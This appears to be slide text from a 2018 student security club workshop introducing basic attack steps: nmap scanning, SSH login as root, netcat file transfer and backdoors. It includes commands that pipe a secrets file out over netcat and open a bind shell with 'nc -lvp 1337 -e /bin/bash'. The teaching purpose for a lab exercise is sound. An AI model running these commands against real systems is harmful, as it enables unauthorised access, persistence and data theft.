Welcome to Gray Hats

Fall 2018

Time to get our hands dirty

What we will cover

- How to execute a basic attack
- What’s an IP? What’s a port?
- Reconnaissance (nmap)
- Remote access with credentials (SSH)
- Data transfer and backdoor (netcat)

Basic Attack

An attack might follow these general steps:

1) Recon
2) Exploit
3) Persist
4) Exfiltrate data

IP, Port?

- IP: Like a home address, used to send data to and from
- Port: Like the windows or doors on a house. How you enter or access information

  - Just like windows ports can be open or closed

  - Ports run services on them (web server, email server)

  - Ports need ip addresses

IP Address and Listening Ports

Run:

Linux: `ifconfig`, or `ip a` or `ip r`

Run:

Windows: `netstat -an`

Linux: `netstat -antp or ss -antp`

Note: ip and ss are the new commands. Phasing out ifconfig and netstat

Scope (Rules of Engagement)

For this exercise only target these machines.

place holder

Recon

NMap -- Network Map

- Allows us to see what machines are visible on the network and what ports are open or closed.

Run:

```
nmap -sn 192.168.1.0/24
```

https://nmap.org/book/man-host-discovery.html Look for -sn flag.

Nmap cont....

```
nmap <SET ADDRESS SPACE> -oN scan.txt
```

Scan top 1000 ports

```
less scan.txt
```

Want to exit less? Hit: `q`

Ohhh look, what do we have here?

Output of nmap scan

Identify ssh

Secure SHell (SSH) != Telnet

SSH is used to securely communicate with a device on a network.

- Typically runs on port 22
- Can transmit whatever data you want on it…. Think exfiltration
- Btw, telnet communicates in plain text

Format: `ssh username@ip`

```
ssh root@192.168.1.32
```

We’re in! Now what?

List contents of directory:

```
ls
```

Where am I? print working directory (pwd)

```
pwd
```

Command Line Practice:
https://www.codecademy.com/learn/learn-the-command-line

Remember netstat? Heard of top?

Run:

```
netstat -antp
```

Run:

```
ps aux
```

Shows running processes: Process ID, User, Start Time, Command

netcat

Can be used to send data across the network..

Run on server:

```
nc -lvp 8080
```

Connect to IP and port of server from client:

Format: `nc ip port`

Run netsat and ps again...

Can’t find your commands? Run:

```
history
```

Or use the up arrow on your keyboard…

Notice the output from netstat and ps. See how it has changed?

Confusing???

Format: man program

```
man nc
```

Man allows you to look at the manual pages for a program

Send Files...

Sender:

```
cat secrets.txt  | nc ip port
```

Receiving:

```
nc -lvp port
```

Backdoor

Listen on port 1337 and execute data in the bash shell:

```
nc -lvp 1337 -e /bin/bash &
```

Sender:

```
nc ip port
```

Hit enter, send commands

```
ls
```